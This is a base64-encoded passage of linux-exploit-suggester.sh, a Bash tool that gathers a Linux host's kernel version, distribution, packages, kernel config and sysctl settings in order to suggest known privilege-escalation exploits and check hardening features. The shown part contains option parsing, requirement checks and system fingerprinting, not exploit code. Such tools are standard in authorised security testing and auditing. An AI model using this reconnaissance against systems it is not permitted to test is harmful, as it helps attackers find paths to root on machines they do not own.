jdGxDb25kaXRpb24gfCBncmVwIC1xaSAiPT0iOyB0aGVuCiAgICAgICAgICAgIHNpZ249Ij09IgogICAgICAgIGVsc2UKICAgICAgICAgICAgZXhpdFdpdGhFcnJNc2cgIldyb25nIHN5c2N0bCBjb25kaXRpb24uIFRoZXJlIGlzIHN5bnRheCBlcnJvciBpbiB5b3VyIGZlYXR1cmVzIERCLiBBYm9ydGluZy4iCiAgICAgICAgZmkKICAgICAgICB2YWw9JChlY2hvICIkc3lzY3RsQ29uZGl0aW9uIiB8IGF3ayAtRiAiJHNpZ24iICd7cHJpbnQgJDJ9JykKICAgICAgICBlbnRyeT0kKGVjaG8gIiRzeXNjdGxDb25kaXRpb24iIHwgYXdrIC1GICIkc2lnbiIgJ3twcmludCAkMX0nKQoKICAgICAgICAjIGdldCBjdXJyZW50IHNldHRpbmcgb2Ygc3lzY3RsIGVudHJ5CiAgICAgICAgY3VyVmFsPSQoL3NiaW4vc3lzY3RsIC1hIDI+IC9kZXYvbnVsbCB8IGdyZXAgIiRlbnRyeSIgfCBhd2sgLUYnPScgJ3twcmludCAkMn0nKQoKICAgICAgICAjIHNwZWNpYWwgY2FzZSBmb3IgLS1jaGVja3NlYyBtb2RlOiByZXR1cm4gMiBpZiB0aGVyZSBpcyBubyBzdWNoIHN3aXRjaCBpbiBzeXNjdGwKICAgICAgICBbIC16ICIkY3VyVmFsIiAtYSAiJG9wdF9jaGVja3NlY19tb2RlIiA9ICJ0cnVlIiBdICYmIHJldHVybiAyCgogICAgICAgICMgZm9yIG90aGVyIG1vZGVzOiBza2lwIGlmIHRoZXJlIGlzIG5vIHN1Y2ggc3dpdGNoIGluIHN5c2N0bAogICAgICAgIFsgLXogIiRjdXJWYWwiIF0gJiYgcmV0dXJuIDAKCiAgICAgICAgIyBjb21wYXJlICYgcmV0dXJuIHJlc3VsdAogICAgICAgIGNvbXBhcmVWYWx1ZXMgJGN1clZhbCAkdmFsICRzaWduICYmIHJldHVybiAwCgogICAgZWxpZiBbWyAiJElOIiA9fiBeY21kOi4qJCBdXTsgdGhlbgoKICAgICAgICAjIHNraXAgaWYgY2hlY2sgaXMgbm90IGFwcGxpY2FibGUgKC1rIG9yIC0tdW5hbWUgb3IgLXAgbW9kZXMpIG9yIGlmIHVzZXIgc2FpZCBzbyAoLS1za2lwLW1vcmUtY2hlY2tzKQogICAgICAgIFsgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAidHJ1ZSIgXSAmJiByZXR1cm4gMAoKICAgICAgICBjbWQ9IiR7SU46NH0iCiAgICAgICAgaWYgZXZhbCAiJHtjbWR9IjsgdGhlbgogICAgICAgICAgICByZXR1cm4gMAogICAgICAgIGZpCiAgICBmaQoKICAgIHJldHVybiAxCn0KCmdldEtlcm5lbENvbmZpZygpIHsKCiAgICBpZiBbIC1mIC9wcm9jL2NvbmZpZy5neiBdIDsgdGhlbgogICAgICAgIEtDT05GSUc9InpjYXQgL3Byb2MvY29uZmlnLmd6IgogICAgZWxpZiBbIC1mIC9ib290L2NvbmZpZy1gdW5hbWUgLXJgIF0gOyB0aGVuCiAgICAgICAgS0NPTkZJRz0iY2F0IC9ib290L2NvbmZpZy1gdW5hbWUgLXJgIgogICAgZWxpZiBbIC1mICIke0tCVUlMRF9PVVRQVVQ6LS91c3Ivc3JjL2xpbnV4fSIvLmNvbmZpZyBdIDsgdGhlbgogICAgICAgIEtDT05GSUc9ImNhdCAke0tCVUlMRF9PVVRQVVQ6LS91c3Ivc3JjL2xpbnV4fS8uY29uZmlnIgogICAgZWxzZQogICAgICAgIEtDT05GSUc9IiIKICAgIGZpCn0KCmNoZWNrc2VjTW9kZSgpIHsKCiAgICBNT0RFPTAKCiAgICAjIHN0YXJ0IGFuYWx5c2lzCmZvciBGRUFUVVJFIGluICIke0ZFQVRVUkVTW0BdfSI7IGRvCgogICAgIyBjcmVhdGUgYXJyYXkgZnJvbSBjdXJyZW50IGV4cGxvaXQgaGVyZSBkb2MgYW5kIGZldGNoIG5lZWRlZCBsaW5lcwogICAgaT0wCiAgICAjICgnLXInIGlzIHVzZWQgdG8gbm90IGludGVycHJldCBiYWNrc2xhc2ggdXNlZCBmb3IgYmFzaCBjb2xvcnMpCiAgICB3aGlsZSByZWFkIC1yIGxpbmUKICAgIGRvCiAgICAgICAgYXJyW2ldPSIkbGluZSIKICAgICAgICBpPSQoKGkgKyAxKSkKICAgIGRvbmUgPDw8ICIkRkVBVFVSRSIKCgkjIG1vZGVzOiBrZXJuZWwtZmVhdHVyZSAoMSkgfCBody1mZWF0dXJlICgyKSB8IDNyZHBhcnR5LWZlYXR1cmUgKDMpIHwgYXR0YWNrLXN1cmZhY2UgKDQpCiAgICBOQU1FPSIke2FyclswXX0iCiAgICBQUkVfTkFNRT0iJHtOQU1FOjA6OH0iCiAgICBOQU1FPSIke05BTUU6OX0iCiAgICBpZiBbICIke1BSRV9OQU1FfSIgPSAic2VjdGlvbjoiIF07IHRoZW4KCQkjIGFkdmFuY2UgdG8gbmV4dCBNT0RFCgkJTU9ERT0kKCgkTU9ERSArIDEpKQoKICAgICAgICBlY2hvCiAgICAgICAgZWNobyAtZSAiJHtibGR3aHR9JHtOQU1FfSR7dHh0cnN0fSIKICAgICAgICBlY2hvCiAgICAgICAgY29udGludWUKICAgIGZpCgogICAgQVZBSUxBQkxFPSIke2FyclsxXX0iICYmIEFWQUlMQUJMRT0iJHtBVkFJTEFCTEU6MTF9IgogICAgRU5BQkxFPSQoZWNobyAiJEZFQVRVUkUiIHwgZ3JlcCAiZW5hYmxlZDogIiB8IGF3ayAtRidlZDogJyAne3ByaW50ICQyfScpCiAgICBhbmFseXNpc191cmw9JChlY2hvICIkRkVBVFVSRSIgfCBncmVwICJhbmFseXNpcy11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKQoKICAgICMgc3BsaXQgbGluZSB3aXRoIGF2YWlsYWJpbGl0eSByZXF1aXJlbWVudHMgJiBsb29wIHRocnUgYWxsIGF2YWlsYWJpbGl0eSByZXFzIG9uZSBieSBvbmUgJiBjaGVjayB3aGV0aGVyIGl0IGlzIG1ldAogICAgSUZTPScsJyByZWFkIC1yIC1hIGFycmF5IDw8PCAiJEFWQUlMQUJMRSIKICAgIEFWQUlMQUJMRV9SRVFTX05VTT0keyNhcnJheVtAXX0KICAgIEFWQUlMQUJMRV9QQVNTRURfUkVRPTAKCUNPTkZJRz0iIgogICAgZm9yIFJFUSBpbiAiJHthcnJheVtAXX0iOyBkbwoKCQkjIGZpbmQgQ09ORklHXyBuYW1lIChpZiBwcmVzZW50KSBmb3IgY3VycmVudCBmZWF0dXJlIChvbmx5IGZvciBkaXNwbGF5IHB1cnBvc2VzKQoJCWlmIFsgLXogIiRDT05GSUciIF07IHRoZW4KCQkJY29uZmlnPSQoZWNobyAiJFJFUSIgfCBncmVwICJDT05GSUdfIikKCQkJWyAtbiAiJGNvbmZpZyIgXSAmJiBDT05GSUc9IigkKGVjaG8gJFJFUSB8IGN1dCAtZCc9JyAtZjEpKSIKCQlmaQoKICAgICAgICBpZiAoY2hlY2tSZXF1aXJlbWVudCAiJFJFUSIpOyB0aGVuCiAgICAgICAgICAgIEFWQUlMQUJMRV9QQVNTRURfUkVRPSQoKCRBVkFJTEFCTEVfUEFTU0VEX1JFUSArIDEpKQogICAgICAgIGVsc2UKICAgICAgICAgICAgYnJlYWsKICAgICAgICBmaQogICAgZG9uZQoKICAgICMgc3BsaXQgbGluZSB3aXRoIGVuYWJsZW1lbnQgcmVxdWlyZW1lbnRzICYgbG9vcCB0aHJ1IGFsbCBlbmFibGVtZW50IHJlcXMgb25lIGJ5IG9uZSAmIGNoZWNrIHdoZXRoZXIgaXQgaXMgbWV0CiAgICBFTkFCTEVfUEFTU0VEX1JFUT0wCiAgICBFTkFCTEVfUkVRU19OVU09MAogICAgbm9TeXNjdGw9MAogICAgaWYgWyAtbiAiJEVOQUJMRSIgXTsgdGhlbgogICAgICAgIElGUz0nLCcgcmVhZCAtciAtYSBhcnJheSA8PDwgIiRFTkFCTEUiCiAgICAgICAgRU5BQkxFX1JFUVNfTlVNPSR7I2FycmF5W0BdfQogICAgICAgIGZvciBSRVEgaW4gIiR7YXJyYXlbQF19IjsgZG8KICAgICAgICAgICAgY21kU3Rkb3V0PSQoY2hlY2tSZXF1aXJlbWVudCAiJFJFUSIpCiAgICAgICAgICAgIHJldFZhbD0kPwogICAgICAgICAgICBpZiBbICRyZXRWYWwgLWVxIDAgXTsgdGhlbgogICAgICAgICAgICAgICAgRU5BQkxFX1BBU1NFRF9SRVE9JCgoJEVOQUJMRV9QQVNTRURfUkVRICsgMSkpCiAgICAgICAgICAgIGVsaWYgWyAkcmV0VmFsIC1lcSAyIF07IHRoZW4KICAgICAgICAgICAgIyBzcGVjaWFsIGNhc2U6IHN5c2N0bCBlbnRyeSBpcyBub3QgcHJlc2VudCBvbiBnaXZlbiBzeXN0ZW06IHNpZ25hbCBpdCBhczogTi9BCiAgICAgICAgICAgICAgICBub1N5c2N0bD0xCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICBmaQogICAgICAgIGRvbmUKICAgIGZpCgogICAgZmVhdHVyZT0kKGVjaG8gIiRGRUFUVVJFIiB8IGdyZXAgImZlYXR1cmU6ICIgfCBjdXQgLWQnICcgLWYgMi0pCgogICAgaWYgWyAtbiAiJGNtZFN0ZG91dCIgXTsgdGhlbgogICAgICAgIGlmIFsgJGNtZFN0ZG91dCAtZXEgMCBdOyB0aGVuCiAgICAgICAgICAgIHN0YXRlPSJbICR7dHh0cmVkfVNldCB0byAkY21kU3Rkb3V0JHt0eHRyc3R9IF0iCgkJCWNtZFN0ZG91dD0iIgogICAgICAgIGVsc2UKICAgICAgICAgICAgc3RhdGU9IlsgJHt0eHRncm59U2V0IHRvICRjbWRTdGRvdXQke3R4dHJzdH0gXSIKCQkJY21kU3Rkb3V0PSIiCiAgICAgICAgZmkKICAgIGVsc2UKCgl1bmtub3duPSJbICR7dHh0Z3JheX1Vbmtub3duJHt0eHRyc3R9ICBdIgoKCSMgZm9yIDNyZCBwYXJ0eSAoMykgbW9kZSBkaXNwbGF5ICJOL0EiIG9yICJFbmFibGVkIgoJaWYgWyAkTU9ERSAtZXEgMyBdOyB0aGVuCiAgICAgICAgICAgIGVuYWJsZWQ9IlsgJHt0eHRncm59RW5hYmxlZCR7dHh0cnN0fSAgIF0iCiAgICAgICAgICAgIGRpc2FibGVkPSJbICAgJHt0eHRncmF5fU4vQSR7dHh0cnN0fSAgICBdIgoKICAgICAgICAjIGZvciBhdHRhY2stc3VyZmFjZSAoNCkgbW9kZSBkaXNwbGF5ICJMb2NrZWQiIG9yICJFeHBvc2VkIgogICAgICAgIGVsaWYgWyAkTU9ERSAtZXEgNCBdOyB0aGVuCiAgICAgICAgICAgZW5hYmxlZD0iWyAke3R4dHJlZH1FeHBvc2VkJHt0eHRyc3R9ICBdIgogICAgICAgICAgIGRpc2FibGVkPSJbICR7dHh0Z3JufUxvY2tlZCR7dHh0cnN0fSAgIF0iCgoJIyBvdGhlciBtb2RlcyIgIkRpc2FibGVkIiAvICJFbmFibGVkIgoJZWxzZQoJCWVuYWJsZWQ9IlsgJHt0eHRncm59RW5hYmxlZCR7dHh0cnN0fSAgXSIKCQlkaXNhYmxlZD0iWyAke3R4dHJlZH1EaXNhYmxlZCR7dHh0cnN0fSBdIgoJZmkKCglpZiBbIC16ICIkS0NPTkZJRyIgLWEgIiRFTkFCTEVfUkVRU19OVU0iID0gMCBdOyB0aGVuCgkgICAgc3RhdGU9JHVua25vd24KICAgIGVsaWYgWyAkQVZBSUxBQkxFX1BBU1NFRF9SRVEgLWVxICRBVkFJTEFCTEVfUkVRU19OVU0gLWEgJEVOQUJMRV9QQVNTRURfUkVRIC1lcSAkRU5BQkxFX1JFUVNfTlVNIF07IHRoZW4KICAgICAgICBzdGF0ZT0kZW5hYmxlZAogICAgZWxzZQogICAgICAgIHN0YXRlPSRkaXNhYmxlZAoJZmkKCiAgICBmaQoKICAgIGVjaG8gLWUgIiAkc3RhdGUgJGZlYXR1cmUgJHt3aHR9JHtDT05GSUd9JHt0eHRyc3R9IgogICAgWyAtbiAiJGFuYWx5c2lzX3VybCIgXSAmJiBlY2hvIC1lICIgICAgICAgICAgICAgICRhbmFseXNpc191cmwiCiAgICBlY2hvCgpkb25lCgp9CgpkaXNwbGF5RXhwb3N1cmUoKSB7CiAgICBSQU5LPSQxCgogICAgaWYgWyAiJFJBTksiIC1nZSA2IF07IHRoZW4KICAgICAgICBlY2hvICJoaWdobHkgcHJvYmFibGUiCiAgICBlbGlmIFsgIiRSQU5LIiAtZ2UgMyBdOyB0aGVuCiAgICAgICAgZWNobyAicHJvYmFibGUiCiAgICBlbHNlCiAgICAgICAgZWNobyAibGVzcyBwcm9iYWJsZSIKICAgIGZpCn0KCiMgcGFyc2UgY29tbWFuZCBsaW5lIHBhcmFtZXRlcnMKQVJHUz0kKGdldG9wdCAtLW9wdGlvbnMgJFNIT1JUT1BUUyAgLS1sb25nb3B0aW9ucyAkTE9OR09QVFMgLS0gIiRAIikKWyAkPyAhPSAwIF0gJiYgZXhpdFdpdGhFcnJNc2cgIkFib3J0aW5nLiIKCmV2YWwgc2V0IC0tICIkQVJHUyIKCndoaWxlIHRydWU7IGRvCiAgICBjYXNlICIkMSIgaW4KICAgICAgICAtdXwtLXVuYW1lKQogICAgICAgICAgICBzaGlmdAogICAgICAgICAgICBVTkFNRV9BPSIkMSIKICAgICAgICAgICAgb3B0X3VuYW1lX3N0cmluZz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLVZ8LS12ZXJzaW9uKQogICAgICAgICAgICB2ZXJzaW9uCiAgICAgICAgICAgIGV4aXQgMAogICAgICAgICAgICA7OwogICAgICAgIC1ofC0taGVscCkKICAgICAgICAgICAgdXNhZ2UgCiAgICAgICAgICAgIGV4aXQgMAogICAgICAgICAgICA7OwogICAgICAgIC1mfC0tZnVsbCkKICAgICAgICAgICAgb3B0X2Z1bGw9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC1nfC0tc2hvcnQpCiAgICAgICAgICAgIG9wdF9zdW1tYXJ5PXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtYnwtLWZldGNoLWJpbmFyaWVzKQogICAgICAgICAgICBvcHRfZmV0Y2hfYmlucz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLXN8LS1mZXRjaC1zb3VyY2VzKQogICAgICAgICAgICBvcHRfZmV0Y2hfc3Jjcz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLWt8LS1rZXJuZWwpCiAgICAgICAgICAgIHNoaWZ0CiAgICAgICAgICAgIEtFUk5FTD0iJDEiCiAgICAgICAgICAgIG9wdF9rZXJuZWxfdmVyc2lvbj10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLWR8LS1zaG93LWRvcykKICAgICAgICAgICAgb3B0X3Nob3dfZG9zPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtcHwtLXBrZ2xpc3QtZmlsZSkKICAgICAgICAgICAgc2hpZnQKICAgICAgICAgICAgUEtHTElTVF9GSUxFPSIkMSIKICAgICAgICAgICAgb3B0X3BrZ2xpc3RfZmlsZT10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLS1jdmVsaXN0LWZpbGUpCiAgICAgICAgICAgIHNoaWZ0CiAgICAgICAgICAgIENWRUxJU1RfRklMRT0iJDEiCiAgICAgICAgICAgIG9wdF9jdmVsaXN0X2ZpbGU9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC0tY2hlY2tzZWMpCiAgICAgICAgICAgIG9wdF9jaGVja3NlY19tb2RlPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLWtlcm5lbHNwYWNlLW9ubHkpCiAgICAgICAgICAgIG9wdF9rZXJuZWxfb25seT10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLS11c2Vyc3BhY2Utb25seSkKICAgICAgICAgICAgb3B0X3VzZXJzcGFjZV9vbmx5PXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLXNraXAtbW9yZS1jaGVja3MpCiAgICAgICAgICAgIG9wdF9za2lwX21vcmVfY2hlY2tzPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLXNraXAtcGtnLXZlcnNpb25zKQogICAgICAgICAgICBvcHRfc2tpcF9wa2dfdmVyc2lvbnM9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgICopCiAgICAgICAgICAgIHNoaWZ0CiAgICAgICAgICAgIGlmIFsgIiQjIiAhPSAiMCIgXTsgdGhlbgogICAgICAgICAgICAgICAgZXhpdFdpdGhFcnJNc2cgIlVua25vd24gb3B0aW9uICckMScuIEFib3J0aW5nLiIKICAgICAgICAgICAgZmkKICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgOzsKICAgIGVzYWMKICAgIHNoaWZ0CmRvbmUKCiMgY2hlY2sgQmFzaCB2ZXJzaW9uIChhc3NvY2lhdGl2ZSBhcnJheXMgbmVlZCBCYXNoIGluIHZlcnNpb24gNC4wKykKaWYgKChCQVNIX1ZFUlNJTkZPWzBdIDwgNCkpOyB0aGVuCiAgICBleGl0V2l0aEVyck1zZyAiU2NyaXB0IG5lZWRzIEJhc2ggaW4gdmVyc2lvbiA0LjAgb3IgbmV3ZXIuIEFib3J0aW5nLiIKZmkKCiMgZXhpdCBpZiBib3RoIC0ta2VybmVsIGFuZCAtLXVuYW1lIGFyZSBzZXQKWyAiJG9wdF9rZXJuZWxfdmVyc2lvbiIgPSAidHJ1ZSIgXSAmJiBbICRvcHRfdW5hbWVfc3RyaW5nID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC11fC0tdW5hbWUgYW5kIC1rfC0ta2VybmVsIGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKCiMgZXhpdCBpZiBib3RoIC0tZnVsbCBhbmQgLS1zaG9ydCBhcmUgc2V0ClsgIiRvcHRfZnVsbCIgPSAidHJ1ZSIgXSAmJiBbICRvcHRfc3VtbWFyeSA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAtZnwtLWZ1bGwgYW5kIC1nfC0tc2hvcnQgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgoKIyAtLWN2ZWxpc3QtZmlsZSBtb2RlIGlzIHN0YW5kYWxvbmUgbW9kZSBhbmQgaXMgbm90IGFwcGxpY2FibGUgd2hlbiBvbmUgb2YgLWsgfCAtdSB8IC1wIHwgLS1jaGVja3NlYyBzd2l0Y2hlcyBhcmUgc2V0CmlmIFsgIiRvcHRfY3ZlbGlzdF9maWxlIiA9ICJ0cnVlIiBdOyB0aGVuCiAgICBbICEgLWUgIiRDVkVMSVNUX0ZJTEUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlByb3ZpZGVkIENWRSBsaXN0IGZpbGUgZG9lcyBub3QgZXhpc3RzLiBBYm9ydGluZy4iCiAgICBbICIkb3B0X2tlcm5lbF92ZXJzaW9uIiA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAta3wtLWtlcm5lbCBhbmQgLS1jdmVsaXN0LWZpbGUgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgogICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC11fC0tdW5hbWUgYW5kIC0tY3ZlbGlzdC1maWxlIGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKICAgIFsgIiRvcHRfcGtnbGlzdF9maWxlIiA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAtcHwtLXBrZ2xpc3QtZmlsZSBhbmQgLS1jdmVsaXN0LWZpbGUgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgpmaQoKIyAtLWNoZWNrc2VjIG1vZGUgaXMgc3RhbmRhbG9uZSBtb2RlIGFuZCBpcyBub3QgYXBwbGljYWJsZSB3aGVuIG9uZSBvZiAtayB8IC11IHwgLXAgfCAtLWN2ZWxpc3QtZmlsZSBzd2l0Y2hlcyBhcmUgc2V0CmlmIFsgIiRvcHRfY2hlY2tzZWNfbW9kZSIgPSAidHJ1ZSIgXTsgdGhlbgogICAgWyAiJG9wdF9rZXJuZWxfdmVyc2lvbiIgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLWt8LS1rZXJuZWwgYW5kIC0tY2hlY2tzZWMgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgogICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC11fC0tdW5hbWUgYW5kIC0tY2hlY2tzZWMgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgogICAgWyAiJG9wdF9wa2dsaXN0X2ZpbGUiID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC1wfC0tcGtnbGlzdC1maWxlIGFuZCAtLWNoZWNrc2VjIGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKZmkKCiMgZXh0cmFjdCBrZXJuZWwgdmVyc2lvbiBhbmQgb3RoZXIgT1MgaW5mbyBsaWtlIGRpc3RybyBuYW1lLCBkaXN0cm8gdmVyc2lvbiwgZXRjLiAzIHBvc3NpYmlsaXRpZXMgaGVyZToKIyBjYXNlIDE6IC0ta2VybmVsIHNldAppZiBbICIkb3B0X2tlcm5lbF92ZXJzaW9uIiA9PSAidHJ1ZSIgXTsgdGhlbgogICAgIyBUT0RPOiBhZGQga2VybmVsIHZlcnNpb24gbnVtYmVyIHZhbGlkYXRpb24KICAgIFsgLXogIiRLRVJORUwiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlVucmVjb2duaXplZCBrZXJuZWwgdmVyc2lvbiBnaXZlbi4gQWJvcnRpbmcuIgogICAgQVJDSD0iIgogICAgT1M9IiIKCiAgICAjIGRvIG5vdCBwZXJmb3JtIGFkZGl0aW9uYWwgY2hlY2tzIG9uIGN1cnJlbnQgbWFjaGluZQogICAgb3B0X3NraXBfbW9yZV9jaGVja3M9dHJ1ZQoKICAgICMgZG8gbm90IGNvbnNpZGVyIGN1cnJlbnQgT1MKICAgIGdldFBrZ0xpc3QgIiIgIiRQS0dMSVNUX0ZJTEUiCgojIGNhc2UgMjogLS11bmFtZSBzZXQKZWxpZiBbICIkb3B0X3VuYW1lX3N0cmluZyIgPT0gInRydWUiIF07IHRoZW4KICAgIFsgLXogIiRVTkFNRV9BIiBdICYmIGV4aXRXaXRoRXJyTXNnICJ1bmFtZSBzdHJpbmcgZW1wdHkuIEFib3J0aW5nLiIKICAgIHBhcnNlVW5hbWUgIiRVTkFNRV9BIgoKICAgICMgZG8gbm90IHBlcmZvcm0gYWRkaXRpb25hbCBjaGVja3Mgb24gY3VycmVudCBtYWNoaW5lCiAgICBvcHRfc2tpcF9tb3JlX2NoZWNrcz10cnVlCgogICAgIyBkbyBub3QgY29uc2lkZXIgY3VycmVudCBPUwogICAgZ2V0UGtnTGlzdCAiIiAiJFBLR0xJU1RfRklMRSIKCiMgY2FzZSAzOiAtLWN2ZWxpc3QtZmlsZSBtb2RlCmVsaWYgWyAiJG9wdF9jdmVsaXN0X2ZpbGUiID0gInRydWUiIF07IHRoZW4KCiAgICAjIGdldCBrZXJuZWwgY29uZmlndXJhdGlvbiBpbiB0aGlzIG1vZGUKICAgIFsgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAiZmFsc2UiIF0gJiYgZ2V0S2VybmVsQ29uZmlnCgojIGNhc2UgNDogLS1jaGVja3NlYyBtb2RlCmVsaWYgWyAiJG9wdF9jaGVja3NlY19tb2RlIiA9ICJ0cnVlIiBdOyB0aGVuCgogICAgIyB0aGlzIHN3aXRjaCBpcyBub3QgYXBwbGljYWJsZSBpbiB0aGlzIG1vZGUKICAgIG9wdF9za2lwX21vcmVfY2hlY2tzPWZhbHNlCgogICAgIyBnZXQga2VybmVsIGNvbmZpZ3VyYXRpb24gaW4gdGhpcyBtb2RlCiAgICBnZXRLZXJuZWxDb25maWcKICAgIFsgLXogIiRLQ09ORklHIiBdICYmIGVjaG8gIldBUk5JTkcuIEtlcm5lbCBDb25maWcgbm90IGZvdW5kIG9uIHRoZSBzeXN0ZW0gcmVzdWx0cyB3b24ndCBiZSBjb21wbGV0ZS4iCgogICAgIyBsYXVuY2ggY2hlY2tzZWMgbW9kZQogICAgY2hlY2tzZWNNb2RlCgogICAgZXhpdCAwCgojIGNhc2UgNTogbm8gLS11bmFtZSB8IC0ta2VybmVsIHwgLS1jdmVsaXN0LWZpbGUgfCAtLWNoZWNrc2VjIHNldAplbHNlCgogICAgIyAtLXBrZ2xpc3QtZmlsZSBOT1QgcHJvdmlkZWQ6IHRha2UgYWxsIGluZm8gZnJvbSBjdXJyZW50IG1hY2hpbmUKICAgICMgY2FzZSBmb3IgdmFuaWxsYSBleGVjdXRpb246IC4vbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIuc2gKICAgIGlmIFsgIiRvcHRfcGtnbGlzdF9maWxlIiA9PSAiZmFsc2UiIF07IHRoZW4KICAgICAgICBVTkFNRV9BPSQodW5hbWUgLWEpCiAgICAgICAgWyAteiAiJFVOQU1FX0EiIF0gJiYgZXhpdFdpdGhFcnJNc2cgInVuYW1lIHN0cmluZyBlbXB0eS4gQWJvcnRpbmcuIgogICAgICAgIHBhcnNlVW5hbWUgIiRVTkFNRV9BIgoKICAgICAgICAjIGdldCBrZXJuZWwgY29uZmlndXJhdGlvbiBpbiB0aGlzIG1vZGUKICAgICAgICBbICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID0gImZhbHNlIiBdICYmIGdldEtlcm5lbENvbmZpZwoKICAgICAgICAjIGV4dHJhY3QgZGlzdHJpYnV0aW9uIHZlcnNpb24gZnJvbSAvZXRjL29zLXJlbGVhc2UgT1IgL2V0Yy9sc2ItcmVsZWFzZQogICAgICAgIFsgLW4gIiRPUyIgLWEgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAiZmFsc2UiIF0gJiYgRElTVFJPPSQoZ3JlcCAtcyAtRSAnXkRJU1RSSUJfUkVMRUFTRT18XlZFUlNJT05fSUQ9JyAvZXRjLyotcmVsZWFzZSB8IGN1dCAtZCc9JyAtZjIgfCBoZWFkIC0xIHwgdHIgLWQgJyInKQoKICAgICAgICAjIGV4dHJhY3QgcGFja2FnZSBsaXN0aW5nIGZyb20gY3VycmVudCBPUwogICAgICAgIGdldFBrZ0xpc3QgIiRPUyIgIiIKCiAgICAjIC0tcGtnbGlzdC1maWxlIHByb3ZpZGVkOiBvbmx5IGNvbnNpZGVyIHVzZXJzcGFjZSBleHBsb2l0cyBhZ2FpbnN0IHByb3ZpZGVkIHBhY2thZ2UgbGlzdGluZwogICAgZWxzZQogICAgICAgIEtFUk5FTD0iIgogICAgICAgICNUT0RPOiBleHRyYWN0IG1hY2hpbmUgYXJjaCBmcm9tIHBhY2thZ2UgbGlzdGluZwogICAgICAgIEFSQ0g9IiIKICAgICAgICB1bnNldCBFWFBMT0lUUwogICAgICAgIGRlY2xhcmUgLUEgRVhQTE9JVFMKICAgICAgICBnZXRQa2dMaXN0ICIiICIkUEtHTElTVF9GSUxFIgoKICAgICAgICAjIGFkZGl0aW9uYWwgY2hlY2tzIGFyZSBub3QgYXBwbGljYWJsZSBmb3IgdGhpcyBtb2RlCiAgICAgICAgb3B0X3NraXBfbW9yZV9jaGVja3M9dHJ1ZQogICAgZmkKZmkKCmVjaG8KZWNobyAtZSAiJHtibGR3aHR9QXZhaWxhYmxlIGluZm9ybWF0aW9uOiR7dHh0cnN0fSIKZWNobwpbIC1uICIkS0VSTkVMIiBdICYmIGVjaG8gLWUgIktlcm5lbCB2ZXJzaW9uOiAke3R4dGdybn0kS0VSTkVMJHt0eHRyc3R9IiB8fCBlY2hvIC1lICJLZXJuZWwgdmVyc2lvbjogJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IgplY2hvICJBcmNoaXRlY3R1cmU6ICQoWyAtbiAiJEFSQ0giIF0gJiYgZWNobyAtZSAiJHt0eHRncm59JEFSQ0gke3R4dHJzdH0iIHx8IGVjaG8gLWUgIiR7dHh0cmVkfU4vQSR7dHh0cnN0fSIpIgplY2hvICJEaXN0cmlidXRpb246ICQoWyAtbiAiJE9TIiBdICYmIGVjaG8gLWUgIiR7dHh0Z3JufSRPUyR7dHh0cnN0fSIgfHwgZWNobyAtZSAiJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IikiCmVjaG8gLWUgIkRpc3RyaWJ1dGlvbiB2ZXJzaW9uOiAkKFsgLW4gIiRESVNUUk8iIF0gJiYgZWNobyAtZSAiJHt0eHRncm59JERJU1RSTyR7dHh0cnN0fSIgfHwgZWNobyAtZSAiJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IikiCgplY2hvICJBZGRpdGlvbmFsIGNoZWNrcyAoQ09ORklHXyosIHN5c2N0bCBlbnRyaWVzLCBjdXN0b20gQmFzaCBjb21tYW5kcyk6ICQoWyAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA